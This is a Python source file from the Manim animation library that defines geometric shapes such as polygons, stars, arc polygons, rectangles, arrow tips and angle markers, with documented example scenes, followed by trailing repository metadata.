PolygonExample(Scene): def construct(self): isosceles = Polygon([-5, 1.5, 0], [-2, 1.5, 0], [-3.5, -2, 0]) position_list = [ [4, 1, 0], # middle right [4, -2.5, 0], # bottom right [0, -2.5, 0], # bottom left [0, 3, 0], # top left [2, 1, 0], # middle [4, 3, 0], # top right ] square_and_triangles = Polygon(*position_list, color=PURPLE_B) self.add(isosceles, square_and_triangles) """ def __init__(self, *vertices: Sequence[float], **kwargs): super().__init__(vertices, **kwargs) class RegularPolygram(Polygram): """A :class:`Polygram` with regularly spaced vertices. Parameters ---------- num_vertices The number of vertices. density The density of the :class:`RegularPolygram`. Can be thought of as how many vertices to hop to draw a line between them. Every ``density``-th vertex is connected. radius The radius of the circle that the vertices are placed on. start_angle The angle the vertices start at; the rotation of the :class:`RegularPolygram`. kwargs Forwarded to the parent constructor. Examples -------- .. manim:: RegularPolygramExample :save_last_frame: class RegularPolygramExample(Scene): def construct(self): pentagram = RegularPolygram(5, radius=2) self.add(pentagram) """ def __init__( self, num_vertices: int, *, density: int = 2, radius: float = 1, start_angle: Optional[float] = None, **kwargs, ): # Regular polygrams can be expressed by the number of their vertices # and their density. This relation can be expressed as its Schläfli # symbol: {num_vertices/density}. # # For instance, a pentagon can be expressed as {5/1} or just {5}. # A pentagram, however, can be expressed as {5/2}. # A hexagram *would* be expressed as {6/2}, except that 6 and 2 # are not coprime, and it can be simplified to 2{3}, which corresponds # to the fact that a hexagram is actually made up of 2 triangles. # # See https://en.wikipedia.org/wiki/Polygram_(geometry)#Generalized_regular_polygons # for more information. num_gons = np.gcd(num_vertices, density) num_vertices //= num_gons density //= num_gons # Utility function for generating the individual # polygon vertices. def gen_polygon_vertices(start_angle): reg_vertices, start_angle = regular_vertices( num_vertices, radius=radius, start_angle=start_angle ) vertices = [] i = 0 while True: vertices.append(reg_vertices[i]) i += density i %= num_vertices if i == 0: break return vertices, start_angle first_group, self.start_angle = gen_polygon_vertices(start_angle) vertex_groups = [first_group] for i in range(1, num_gons): start_angle = self.start_angle + (i / num_gons) * TAU / num_vertices group, _ = gen_polygon_vertices(start_angle) vertex_groups.append(group) super().__init__(*vertex_groups, **kwargs) class RegularPolygon(RegularPolygram): """An n-sided regular :class:`Polygon`. Parameters ---------- n The number of sides of the :class:`RegularPolygon`. kwargs Forwarded to the parent constructor. Examples -------- .. manim:: RegularPolygonExample :save_last_frame: class RegularPolygonExample(Scene): def construct(self): poly_1 = RegularPolygon(n=6) poly_2 = RegularPolygon(n=6, start_angle=30*DEGREES, color=GREEN) poly_3 = RegularPolygon(n=10, color=RED) poly_group = Group(poly_1, poly_2, poly_3).scale(1.5).arrange(buff=1) self.add(poly_group) """ def __init__(self, n: int = 6, **kwargs): super().__init__(n, density=1, **kwargs) class Star(Polygon): """A regular polygram without the intersecting lines. Parameters ---------- n How many points on the :class:`Star`. outer_radius The radius of the circle that the outer vertices are placed on. inner_radius The radius of the circle that the inner vertices are placed on. If unspecified, the inner radius will be calculated such that the edges of the :class:`Star` perfectly follow the edges of its :class:`RegularPolygram` counterpart. density The density of the :class:`Star`. Only used if ``inner_radius`` is unspecified. See :class:`RegularPolygram` for more information. start_angle The angle the vertices start at; the rotation of the :class:`Star`. kwargs Forwardeds to the parent constructor. Raises ------ :exc:`ValueError` If ``inner_radius`` is unspecified and ``density`` is not in the range ``[1, n/2)``. Examples -------- .. manim:: StarExample :save_as_gif: class StarExample(Scene): def construct(self): pentagram = RegularPolygram(5, radius=2) star = Star(outer_radius=2, color=RED) self.add(pentagram) self.play(Create(star), run_time=3) self.play(FadeOut(star), run_time=2) .. manim:: DifferentDensitiesExample :save_last_frame: class DifferentDensitiesExample(Scene): def construct(self): density_2 = Star(7, outer_radius=2, density=2, color=RED) density_3 = Star(7, outer_radius=2, density=3, color=PURPLE) self.add(VGroup(density_2, density_3).arrange(RIGHT)) """ def __init__( self, n: int = 5, *, outer_radius: float = 1, inner_radius: Optional[float] = None, density: int = 2, start_angle: Optional[float] = TAU / 4, **kwargs, ): inner_angle = TAU / (2 * n) if inner_radius is None: # See https://math.stackexchange.com/a/2136292 for an # overview of how to calculate the inner radius of a # perfect star. if density <= 0 or density >= n / 2: raise ValueError( f"Incompatible density {density} for number of points {n}" ) outer_angle = TAU * density / n inverse_x = 1 - np.tan(inner_angle) * ( (np.cos(outer_angle) - 1) / np.sin(outer_angle) ) inner_radius = outer_radius / (np.cos(inner_angle) * inverse_x) outer_vertices, self.start_angle = regular_vertices( n, radius=outer_radius, start_angle=start_angle ) inner_vertices, _ = regular_vertices( n, radius=inner_radius, start_angle=self.start_angle + inner_angle ) vertices = [] for pair in zip(outer_vertices, inner_vertices): vertices.extend(pair) super().__init__(*vertices, **kwargs) class ArcPolygon(VMobject, metaclass=ConvertToOpenGL): """A generalized polygon allowing for points to be connected with arcs. This version tries to stick close to the way :class:`Polygon` is used. Points can be passed to it directly which are used to generate the according arcs (using :class:`ArcBetweenPoints`). An angle or radius can be passed to it to use across all arcs, but to configure arcs individually an ``arc_config`` list has to be passed with the syntax explained below. .. tip:: Two instances of :class:`ArcPolygon` can be transformed properly into one another as well. Be advised that any arc initialized with ``angle=0`` will actually be a straight line, so if a straight section should seamlessly transform into an arced section or vice versa, initialize the straight section with a negligible angle instead (such as ``angle=0.0001``). There is an alternative version (:class:`ArcPolygonFromArcs`) that is instantiated with pre-defined arcs. See Also -------- :class:`ArcPolygonFromArcs` Parameters ---------- vertices : Union[:class:`list`, :class:`np.array`] A list of vertices, start and end points for the arc segments. angle : :class:`float` The angle used for constructing the arcs. If no other parameters are set, this angle is used to construct all arcs. radius : Optional[:class:`float`] The circle radius used to construct the arcs. If specified, overrides the specified ``angle``. arc_config : Optional[Union[List[:class:`dict`]], :class:`dict`] When passing a ``dict``, its content will be passed as keyword arguments to :class:`~.ArcBetweenPoints`. Otherwise, a list of dictionaries containing values that are passed as keyword arguments for every individual arc can be passed. kwargs Further keyword arguments that are passed to the constructor of :class:`~.VMobject`. Attributes ---------- arcs : :class:`list` The arcs created from the input parameters:: >>> from manim import ArcPolygon >>> ap = ArcPolygon([0, 0, 0], [2, 0, 0], [0, 2, 0]) >>> ap.arcs [ArcBetweenPoints, ArcBetweenPoints, ArcBetweenPoints] Examples -------- .. manim:: SeveralArcPolygons class SeveralArcPolygons(Scene): def construct(self): a = [0, 0, 0] b = [2, 0, 0] c = [0, 2, 0] ap1 = ArcPolygon(a, b, c, radius=2) ap2 = ArcPolygon(a, b, c, angle=45*DEGREES) ap3 = ArcPolygon(a, b, c, arc_config={'radius': 1.7, 'color': RED}) ap4 = ArcPolygon(a, b, c, color=RED, fill_opacity=1, arc_config=[{'radius': 1.7, 'color': RED}, {'angle': 20*DEGREES, 'color': BLUE}, {'radius': 1}]) ap_group = VGroup(ap1, ap2, ap3, ap4).arrange() self.play(*[Create(ap) for ap in [ap1, ap2, ap3, ap4]]) self.wait() For further examples see :class:`ArcPolygonFromArcs`. """ def __init__(self, *vertices, angle=PI / 4, radius=None, arc_config=None, **kwargs): n = len(vertices) point_pairs = [(vertices[k], vertices[(k + 1) % n]) for k in range(n)] if not arc_config: if radius: all_arc_configs = [{"radius": radius} for pair in point_pairs] else: all_arc_configs = [{"angle": angle} for pair in point_pairs] elif isinstance(arc_config, dict): all_arc_configs = [arc_config for pair in point_pairs] else: assert len(arc_config) == n all_arc_configs = arc_config arcs = [ ArcBetweenPoints(*pair, **conf) for (pair, conf) in zip(point_pairs, all_arc_configs) ] super().__init__(**kwargs) # Adding the arcs like this makes ArcPolygon double as a VGroup. # Also makes changes to the ArcPolygon, such as scaling, affect # the arcs, so that their new values are usable. self.add(*arcs) for arc in arcs: self.append_points(arc.get_points()) # This enables the use of ArcPolygon.arcs as a convenience # because ArcPolygon[0] returns itself, not the first Arc. self.arcs = arcs class ArcPolygonFromArcs(VMobject, metaclass=ConvertToOpenGL): """A generalized polygon allowing for points to be connected with arcs. This version takes in pre-defined arcs to generate the arcpolygon and introduces little new syntax. However unlike :class:`Polygon` it can't be created with points directly. For proper appearance the passed arcs should connect seamlessly: ``[a,b][b,c][c,a]`` If there are any gaps between the arcs, those will be filled in with straight lines, which can be used deliberately for any straight sections. Arcs can also be passed as straight lines such as an arc initialized with ``angle=0``. .. tip:: Two instances of :class:`ArcPolygon` can be transformed properly into one another as well. Be advised that any arc initialized with ``angle=0`` will actually be a straight line, so if a straight section should seamlessly transform into an arced section or vice versa, initialize the straight section with a negligible angle instead (such as ``angle=0.0001``). There is an alternative version (:class:`ArcPolygon`) that can be instantiated with points. See Also -------- :class:`ArcPolygon` Parameters ---------- arcs : Union[:class:`Arc`, :class:`ArcBetweenPoints`] These are the arcs from which the arcpolygon is assembled. kwargs Keyword arguments that are passed to the constructor of :class:`~.VMobject`. Affects how the ArcPolygon itself is drawn, but doesn't affect passed arcs. Attributes ---------- arcs : :class:`list` The arcs used to initialize the ArcPolygonFromArcs:: >>> from manim import ArcPolygonFromArcs, Arc, ArcBetweenPoints >>> ap = ArcPolygonFromArcs(Arc(), ArcBetweenPoints([1,0,0], [0,1,0]), Arc()) >>> ap.arcs [Arc, ArcBetweenPoints, Arc] Examples -------- One example of an arcpolygon is the Reuleaux triangle. Instead of 3 straight lines connecting the outer points, a Reuleaux triangle has 3 arcs connecting those points, making a shape with constant width. Passed arcs are stored as submobjects in the arcpolygon. This means that the arcs are changed along with the arcpolygon, for example when it's shifted, and these arcs can be manipulated after the arcpolygon has been initialized. Also both the arcs contained in an :class:`~.ArcPolygonFromArcs`, as well as the arcpolygon itself are drawn, which affects draw time in :class:`~.Create` for example. In most cases the arcs themselves don't need to be drawn, in which case they can be passed as invisible. .. manim:: ArcPolygonExample class ArcPolygonExample(Scene): def construct(self): arc_conf = {"stroke_width": 0} poly_conf = {"stroke_width": 10, "stroke_color": BLUE, "fill_opacity": 1, "color": PURPLE} a = [-1, 0, 0] b = [1, 0, 0] c = [0, np.sqrt(3), 0] arc0 = ArcBetweenPoints(a, b, radius=2, **arc_conf) arc1 = ArcBetweenPoints(b, c, radius=2, **arc_conf) arc2 = ArcBetweenPoints(c, a, radius=2, **arc_conf) reuleaux_tri = ArcPolygonFromArcs(arc0, arc1, arc2, **poly_conf) self.play(FadeIn(reuleaux_tri)) self.wait(2) The arcpolygon itself can also be hidden so that instead only the contained arcs are drawn. This can be used to easily debug arcs or to highlight them. .. manim:: ArcPolygonExample2 class ArcPolygonExample2(Scene): def construct(self): arc_conf = {"stroke_width": 3, "stroke_color": BLUE, "fill_opacity": 0.5, "color": GREEN} poly_conf = {"color": None} a = [-1, 0, 0] b = [1, 0, 0] c = [0, np.sqrt(3), 0] arc0 = ArcBetweenPoints(a, b, radius=2, **arc_conf) arc1 = ArcBetweenPoints(b, c, radius=2, **arc_conf) arc2 = ArcBetweenPoints(c, a, radius=2, stroke_color=RED) reuleaux_tri = ArcPolygonFromArcs(arc0, arc1, arc2, **poly_conf) self.play(FadeIn(reuleaux_tri)) self.wait(2) """ def __init__(self, *arcs, **kwargs): if not all(isinstance(m, (Arc, ArcBetweenPoints)) for m in arcs): raise ValueError( "All ArcPolygon submobjects must be of type Arc/ArcBetweenPoints" ) super().__init__(**kwargs) # Adding the arcs like this makes ArcPolygonFromArcs double as a VGroup. # Also makes changes to the ArcPolygonFromArcs, such as scaling, affect # the arcs, so that their new values are usable. self.add(*arcs) # This enables the use of ArcPolygonFromArcs.arcs as a convenience # because ArcPolygonFromArcs[0] returns itself, not the first Arc. self.arcs = [*arcs] for arc1, arc2 in adjacent_pairs(arcs): self.append_points(arc1.points) line = Line(arc1.get_end(), arc2.get_start()) len_ratio = line.get_length() / arc1.get_arc_length() if math.isnan(len_ratio) or math.isinf(len_ratio): continue line.insert_n_curves(int(arc1.get_num_curves() * len_ratio)) self.append_points(line.get_points()) class Triangle(RegularPolygon): """An equilateral triangle. Parameters ---------- kwargs : Any Additional arguments to be passed to :class:`RegularPolygon` Examples -------- .. manim:: TriangleExample :save_last_frame: class TriangleExample(Scene): def construct(self): triangle_1 = Triangle() triangle_2 = Triangle().scale(2).rotate(60*DEGREES) tri_group = Group(triangle_1, triangle_2).arrange(buff=1) self.add(tri_group) """ def __init__(self, **kwargs): super().__init__(n=3, **kwargs) class Rectangle(Polygon): """A quadrilateral with two sets of parallel sides. Parameters ---------- color : :class:`~.Colors`, optional The color of the rectangle. height : :class:`float`, optional The vertical height of the rectangle. width : :class:`float`, optional The horizontal width of the rectangle. grid_xstep : :class:`float`, optional Space between vertical grid lines. grid_ystep : :class:`float`, optional Space between horizontal grid lines. mark_paths_closed : :class:`bool`, optional No purpose. close_new_points : :class:`bool`, optional No purpose. kwargs : Any Additional arguments to be passed to :class:`Polygon` Examples ---------- .. manim:: RectangleExample :save_last_frame: class RectangleExample(Scene): def construct(self): rect1 = Rectangle(width=4.0, height=2.0, grid_xstep=1.0, grid_ystep=0.5) rect2 = Rectangle(width=1.0, height=4.0) rects = Group(rect1,rect2).arrange(buff=1) self.add(rects) """ def __init__( self, color: Color = WHITE, height: float = 2.0, width: float = 4.0, grid_xstep: Optional[float] = None, grid_ystep: Optional[float] = None, mark_paths_closed=True, close_new_points=True, **kwargs, ): super().__init__(UR, UL, DL, DR, color=color, **kwargs) self.stretch_to_fit_width(width) self.stretch_to_fit_height(height) v = self.get_vertices() if grid_xstep is not None: grid_xstep = abs(grid_xstep) count = int(width / grid_xstep) grid = VGroup( *[ Line( v[1] + i * grid_xstep * RIGHT, v[1] + i * grid_xstep * RIGHT + height * DOWN, color=color, ) for i in range(1, count) ] ) self.add(grid) if grid_ystep is not None: grid_ystep = abs(grid_ystep) count = int(height / grid_ystep) grid = VGroup( *[ Line( v[1] + i * grid_ystep * DOWN, v[1] + i * grid_ystep * DOWN + width * RIGHT, color=color, ) for i in range(1, count) ] ) self.add(grid) class Square(Rectangle): """A rectangle with equal side lengths. Parameters ---------- side_length : :class:`float`, optional The length of the sides of the square. kwargs : Any Additional arguments to be passed to :class:`Square` Examples -------- .. manim:: SquareExample :save_last_frame: class SquareExample(Scene): def construct(self): square_1 = Square(side_length=2.0).shift(DOWN) square_2 = Square(side_length=1.0).next_to(square_1, direction=UP) square_3 = Square(side_length=0.5).next_to(square_2, direction=UP) self.add(square_1, square_2, square_3) """ def __init__(self, side_length=2.0, **kwargs): self.side_length = side_length super().__init__(height=side_length, width=side_length, **kwargs) class RoundedRectangle(Rectangle): """A rectangle with rounded corners. Parameters ---------- corner_radius : :class:`float`, optional The curvature of the corners of the rectangle. kwargs : Any Additional arguments to be passed to :class:`Rectangle` Examples -------- .. manim:: RoundedRectangleExample :save_last_frame: class RoundedRectangleExample(Scene): def construct(self): rect_1 = RoundedRectangle(corner_radius=0.5) rect_2 = RoundedRectangle(corner_radius=1.5, height=4.0, width=4.0) rect_group = Group(rect_1, rect_2).arrange(buff=1) self.add(rect_group) """ def __init__(self, corner_radius=0.5, **kwargs): self.corner_radius = corner_radius super().__init__(**kwargs) self.round_corners(self.corner_radius) class ArrowTip(VMobject, metaclass=ConvertToOpenGL): r"""Base class for arrow tips. See Also -------- :class:`ArrowTriangleTip` :class:`ArrowTriangleFilledTip` :class:`ArrowCircleTip` :class:`ArrowCircleFilledTip` :class:`ArrowSquareTip` :class:`ArrowSquareFilledTip` Examples -------- Cannot be used directly, only intended for inheritance:: >>> tip = ArrowTip() Traceback (most recent call last): ... NotImplementedError: Has to be implemented in inheriting subclasses. Instead, use one of the pre-defined ones, or make a custom one like this: .. manim:: CustomTipExample >>> class MyCustomArrowTip(ArrowTip, RegularPolygon): ... def __init__(self, length=0.35, **kwargs): ... RegularPolygon.__init__(self, n=5, **kwargs) ... self.width = length ... self.stretch_to_fit_height(length) >>> arr = Arrow(np.array([-2, -2, 0]), np.array([2, 2, 0]), ... tip_shape=MyCustomArrowTip) >>> isinstance(arr.tip, RegularPolygon) True >>> from manim import Scene >>> class CustomTipExample(Scene): ... def construct(self): ... self.play(Create(arr)) Using a class inherited from :class:`ArrowTip` to get a non-filled tip is a shorthand to manually specifying the arrow tip style as follows:: >>> arrow = Arrow(np.array([0, 0, 0]), np.array([1, 1, 0]), ... tip_style={'fill_opacity': 0, 'stroke_width': 3}) The following example illustrates the usage of all of the predefined arrow tips. .. manim:: ArrowTipsShowcase :save_last_frame: from manim.mobject.geometry import ArrowTriangleTip, ArrowSquareTip, ArrowSquareFilledTip,\ ArrowCircleTip, ArrowCircleFilledTip class ArrowTipsShowcase(Scene): def construct(self): a00 = Arrow(start=[-2, 3, 0], end=[2, 3, 0], color=YELLOW) a11 = Arrow(start=[-2, 2, 0], end=[2, 2, 0], tip_shape=ArrowTriangleTip) a12 = Arrow(start=[-2, 1, 0], end=[2, 1, 0]) a21 = Arrow(start=[-2, 0, 0], end=[2, 0, 0], tip_shape=ArrowSquareTip) a22 = Arrow([-2, -1, 0], [2, -1, 0], tip_shape=ArrowSquareFilledTip) a31 = Arrow([-2, -2, 0], [2, -2, 0], tip_shape=ArrowCircleTip) a32 = Arrow([-2, -3, 0], [2, -3, 0], tip_shape=ArrowCircleFilledTip) b11 = a11.copy().scale(0.5, scale_tips=True).next_to(a11, RIGHT) b12 = a12.copy().scale(0.5, scale_tips=True).next_to(a12, RIGHT) b21 = a21.copy().scale(0.5, scale_tips=True).next_to(a21, RIGHT) self.add(a00, a11, a12, a21, a22, a31, a32, b11, b12, b21) """ def __init__(self, *args, **kwargs): raise NotImplementedError("Has to be implemented in inheriting subclasses.") @property def base(self): r"""The base point of the arrow tip. This is the point connecting to the arrow line. Examples -------- :: >>> arrow = Arrow(np.array([0, 0, 0]), np.array([2, 0, 0]), buff=0) >>> arrow.tip.base.round(2) + 0. # add 0. to avoid negative 0 in output array([1.65, 0. , 0. ]) """ return self.point_from_proportion(0.5) @property def tip_point(self): r"""The tip point of the arrow tip. Examples -------- :: >>> arrow = Arrow(np.array([0, 0, 0]), np.array([2, 0, 0]), buff=0) >>> arrow.tip.tip_point.round(2) + 0. array([2., 0., 0.]) """ return self.get_points()[0] @property def vector(self): r"""The vector pointing from the base point to the tip point. Examples -------- :: >>> arrow = Arrow(np.array([0, 0, 0]), np.array([2, 2, 0]), buff=0) >>> arrow.tip.vector.round(2) + 0. array([0.25, 0.25, 0. ]) """ return self.tip_point - self.base @property def tip_angle(self): r"""The angle of the arrow tip. Examples -------- :: >>> arrow = Arrow(np.array([0, 0, 0]), np.array([1, 1, 0]), buff=0) >>> round(arrow.tip.tip_angle, 5) == round(PI/4, 5) True """ return angle_of_vector(self.vector) @property def length(self): r"""The length of the arrow tip. Examples -------- :: >>> arrow = Arrow(np.array([0, 0, 0]), np.array([1, 2, 0])) >>> round(arrow.tip.length, 3) 0.35 """ return np.linalg.norm(self.vector) class ArrowTriangleTip(ArrowTip, Triangle): r"""Triangular arrow tip.""" def __init__( self, fill_opacity=0, stroke_width=3, length=DEFAULT_ARROW_TIP_LENGTH, start_angle=PI, **kwargs, ): Triangle.__init__( self, fill_opacity=fill_opacity, stroke_width=stroke_width, start_angle=start_angle, **kwargs, ) self.width = length self.stretch_to_fit_height(length) class ArrowTriangleFilledTip(ArrowTriangleTip): r"""Triangular arrow tip with filled tip. This is the default arrow tip shape. """ def __init__(self, fill_opacity=1, stroke_width=0, **kwargs): super().__init__(fill_opacity=fill_opacity, stroke_width=stroke_width, **kwargs) class ArrowCircleTip(ArrowTip, Circle): r"""Circular arrow tip.""" def __init__( self, fill_opacity=0, stroke_width=3, length=DEFAULT_ARROW_TIP_LENGTH, start_angle=PI, **kwargs, ): self.start_angle = start_angle Circle.__init__( self, fill_opacity=fill_opacity, stroke_width=stroke_width, **kwargs ) self.width = length self.stretch_to_fit_height(length) class ArrowCircleFilledTip(ArrowCircleTip): r"""Circular arrow tip with filled tip.""" def __init__(self, fill_opacity=1, stroke_width=0, **kwargs): super().__init__(fill_opacity=fill_opacity, stroke_width=stroke_width, **kwargs) class ArrowSquareTip(ArrowTip, Square): r"""Square arrow tip.""" def __init__( self, fill_opacity=0, stroke_width=3, length=DEFAULT_ARROW_TIP_LENGTH, start_angle=PI, **kwargs, ): self.start_angle = start_angle Square.__init__( self, fill_opacity=fill_opacity, stroke_width=stroke_width, side_length=length, **kwargs, ) self.width = length self.stretch_to_fit_height(length) class ArrowSquareFilledTip(ArrowSquareTip): r"""Square arrow tip with filled tip.""" def __init__(self, fill_opacity=1, stroke_width=0, **kwargs): super().__init__(fill_opacity=fill_opacity, stroke_width=stroke_width, **kwargs) class Cutout(VMobject, metaclass=ConvertToOpenGL): """A shape with smaller cutouts. .. warning:: Technically, this class behaves similar to a symmetric difference: if parts of the ``mobjects`` are not located within the ``main_shape``, these parts will be added to the resulting :class:`~.VMobject`. Parameters ---------- main_shape : :class:`~.VMobject` The primary shape from which cutouts are made. mobjects : :class:`~.VMobject` The smaller shapes which are to be cut out of the ``main_shape``. kwargs Further keyword arguments that are passed to the constructor of :class:`~.VMobject`. Examples -------- .. manim:: CutoutExample class CutoutExample(Scene): def construct(self): s1 = Square().scale(2.5) s2 = Triangle().shift(DOWN + RIGHT).scale(0.5) s3 = Square().shift(UP + RIGHT).scale(0.5) s4 = RegularPolygon(5).shift(DOWN + LEFT).scale(0.5) s5 = RegularPolygon(6).shift(UP + LEFT).scale(0.5) c = Cutout(s1, s2, s3, s4, s5, fill_opacity=1, color=BLUE, stroke_color=RED) self.play(Write(c), run_time=4) self.wait() """ def __init__(self, main_shape, *mobjects, **kwargs): super().__init__(**kwargs) self.append_points(main_shape.get_points()) if main_shape.get_direction() == "CW": sub_direction = "CCW" else: sub_direction = "CW" for mobject in mobjects: self.append_points(mobject.force_direction(sub_direction).get_points()) class Angle(VMobject, metaclass=ConvertToOpenGL): """A circular arc or elbow-type mobject representing an angle of two lines. Parameters ---------- line1 : The first line. line2 : The second line. radius : The radius of the :class:`Arc`. quadrant : Sequence[:class:`int`] A sequence of two :class:`int` numbers determining which of the 4 quadrants should be used. The first value indicates whether to anchor the arc on the first line closer to the end point (1) or start point (-1), and the second value functions similarly for the end (1) or start (-1) of the second line. Possibilities: (1,1), (-1,1), (1,-1), (-1,-1). other_angle : Toggles between the two possible angles defined by two points and an arc center. If set to False (default), the arc will always go counterclockwise from the point on line1 until the point on line2 is reached. If set to True, the angle will go clockwise from line1 to line2. dot : :class:`bool` Allows for a :class:`Dot` in the arc. Mainly used as an convention to indicate a right angle. The dot can be customized in the next three parameters. dot_radius : :class:`float` The radius of the :class:`Dot`. If not specified otherwise, this radius will be 1/10 of the arc radius. dot_distance : :class:`float` Relative distance from the center to the arc: 0 puts the dot in the center and 1 on the arc itself. dot_color : :class:`~.Colors` The color of the :class:`Dot`. elbow : :class:`bool` Produces an elbow-type mobject indicating a right angle, see :class:`RightAngle` for more information and a shorthand. **kwargs Further keyword arguments that are passed to the constructor of :class:`Arc` or :class:`Elbow`. Examples -------- The first example shows some right angles with a dot in the middle while the second example shows all 8 possible angles defined by two lines. .. manim:: RightArcAngleExample :save_last_frame: class RightArcAngleExample(Scene): def construct(self): line1 = Line( LEFT, RIGHT ) line2 = Line( DOWN, UP ) rightarcangles = [ Angle(line1, line2, dot=True), Angle(line1, line2, radius=0.4, quadrant=(1,-1), dot=True, other_angle=True), Angle(line1, line2, radius=0.5, quadrant=(-1,1), stroke_width=8, dot=True, dot_color=YELLOW, dot_radius=0.04, other_angle=True), Angle(line1, line2, radius=0.7, quadrant=(-1,-1), color=RED, dot=True, dot_color=GREEN, dot_radius=0.08), ] plots = VGroup() for angle in rightarcangles: plot=VGroup(line1.copy(),line2.copy(), angle) plots.add(plot) plots.arrange(buff=1.5) self.add(plots) .. manim:: AngleExample :save_last_frame: class AngleExample(Scene): def construct(self): line1 = Line( LEFT + (1/3) * UP, RIGHT + (1/3) * DOWN ) line2 = Line( DOWN + (1/3) * RIGHT, UP + (1/3) * LEFT ) angles = [ Angle(line1, line2), Angle(line1, line2, radius=0.4, quadrant=(1,-1), other_angle=True), Angle(line1, line2, radius=0.5, quadrant=(-1,1), stroke_width=8, other_angle=True), Angle(line1, line2, radius=0.7, quadrant=(-1,-1), color=RED), Angle(line1, line2, other_angle=True), Angle(line1, line2, radius=0.4, quadrant=(1,-1)), Angle(line1, line2, radius=0.5, quadrant=(-1,1), stroke_width=8), Angle(line1, line2, radius=0.7, quadrant=(-1,-1), color=RED, other_angle=True), ] plots = VGroup() for angle in angles: plot=VGroup(line1.copy(),line2.copy(), angle) plots.add(VGroup(plot,SurroundingRectangle(plot, buff=0.3))) plots.arrange_in_grid(rows=2,buff=1) self.add(plots) .. manim:: FilledAngle :save_last_frame: class FilledAngle(Scene): def construct(self): l1 = Line(ORIGIN, 2 * UP + RIGHT).set_color(GREEN) l2 = ( Line(ORIGIN, 2 * UP + RIGHT) .set_color(GREEN) .rotate(-20 * DEGREES, about_point=ORIGIN) ) norm = l1.get_length() a1 = Angle(l1, l2, other_angle=True, radius=norm - 0.5).set_color(GREEN) a2 = Angle(l1, l2, other_angle=True, radius=norm).set_color(GREEN) q1 = a1.get_points() # save all coordinates of points of angle a1 q2 = a2.reverse_direction().get_points() # save all coordinates of points of angle a1 (in reversed direction) pnts = np.concatenate([q1, q2, q1[0].reshape(1, 3)]) # adds points and ensures that path starts and ends at same point mfill = VMobject().set_color(ORANGE) mfill.set_points_as_corners(pnts).set_fill(GREEN, opacity=1) self.add(l1, l2) self.add(mfill) """ def __init__( self, line1: Line, line2: Line, radius: float = None, quadrant=(1, 1), other_angle: bool = False, dot=False, dot_radius=None, dot_distance=0.55, dot_color=WHITE, elbow=False, **kwargs, ): super().__init__(**kwargs) self.quadrant = quadrant self.dot_distance = dot_distance self.elbow = elbow inter = line_intersection( [line1.get_start(), line1.get_end()], [line2.get_start(), line2.get_end()] ) if radius is None: if quadrant[0] == 1: dist_1 = np.linalg.norm(line1.get_end() - inter) else: dist_1 = np.linalg.norm(line1.get_start() - inter) if quadrant[1] == 1: dist_2 = np.linalg.norm(line2.get_end() - inter) else: dist_2 = np.linalg.norm(line2.get_start() - inter) if np.minimum(dist_1, dist_2) < 0.6: radius = (2 / 3) * np.minimum(dist_1, dist_2) else: radius = 0.4 else: self.radius = radius anchor_angle_1 = inter + quadrant[0] * radius * line1.get_unit_vector() anchor_angle_2 = inter + quadrant[1] * radius * line2.get_unit_vector() if elbow: anchor_middle = ( inter + quadrant[0] * radius * line1.get_unit_vector() + quadrant[1] * radius * line2.get_unit_vector() ) angle_mobject = Elbow(**kwargs) angle_mobject.set_points_as_corners( [anchor_angle_1, anchor_middle, anchor_angle_2] ) else: angle_1 = angle_of_vector(anchor_angle_1 - inter) angle_2 = angle_of_vector(anchor_angle_2 - inter) if not other_angle: start_angle = angle_1 if angle_2 > angle_1: angle_fin = angle_2 - angle_1 else: angle_fin = 2 * np.pi - (angle_1 - angle_2) else: start_angle = angle_1 if angle_2 < angle_1: angle_fin = -angle_1 + angle_2 else: angle_fin = -2 * np.pi + (angle_2 - angle_1) angle_mobject = Arc( radius=radius, angle=angle_fin, start_angle=start_angle, arc_center=inter, **kwargs, ) if dot: if dot_radius is None: dot_radius = radius / 10 else: self.dot_radius = dot_radius right_dot = Dot(ORIGIN, radius=dot_radius, color=dot_color) dot_anchor = ( inter + (angle_mobject.get_center() - inter) / np.linalg.norm(angle_mobject.get_center() - inter) * radius * dot_distance ) right_dot.move_to(dot_anchor) self.add(right_dot) self.set_points(angle_mobject.get_points()) class RightAngle(Angle): """An elbow-type mobject representing a right angle between two lines. Parameters ---------- line1 : :class:`Line` The first line. line2 : :class:`Line` The second line. length : :class:`float` The length of the arms. **kwargs Further keyword arguments that are passed to the constructor of :class:`Angle`. Examples -------- .. manim:: RightAngleExample :save_last_frame: class RightAngleExample(Scene): def construct(self): line1 = Line( LEFT, RIGHT ) line2 = Line( DOWN, UP ) rightangles = [ RightAngle(line1, line2), RightAngle(line1, line2, length=0.4, quadrant=(1,-1)), RightAngle(line1, line2, length=0.5, quadrant=(-1,1), stroke_width=8), RightAngle(line1, line2, length=0.7, quadrant=(-1,-1), color=RED), ] plots = VGroup() for rightangle in rightangles: plot=VGroup(line1.copy(),line2.copy(), rightangle) plots.add(plot) plots.arrange(buff=1.5) self.add(plots) """ def __init__(self, line1, line2, length=None, **kwargs): super().__init__(line1, line2, radius=length, elbow=True, **kwargs)

32.707865

148

0.565997

4a07b3da1e3175e195466aa9e2b4a84af426d6e7

2,094

py

Python

src/api/python/pxapi/utils.py

hangqiu/pixie

1dd4af47d40ff856c4d52a1d6de81f78a76ff31e

[ "Apache-2.0" ]

1,821

2020-04-08T00:45:27.000Z

2021-09-01T14:56:25.000Z

src/api/python/pxapi/utils.py

hangqiu/pixie

1dd4af47d40ff856c4d52a1d6de81f78a76ff31e

[ "Apache-2.0" ]

142

2020-04-09T06:23:46.000Z

2021-08-24T06:02:12.000Z

src/api/python/pxapi/utils.py

hangqiu/pixie

1dd4af47d40ff856c4d52a1d6de81f78a76ff31e

[ "Apache-2.0" ]

105

2021-09-08T10:26:50.000Z

2022-03-29T09:13:36.000Z

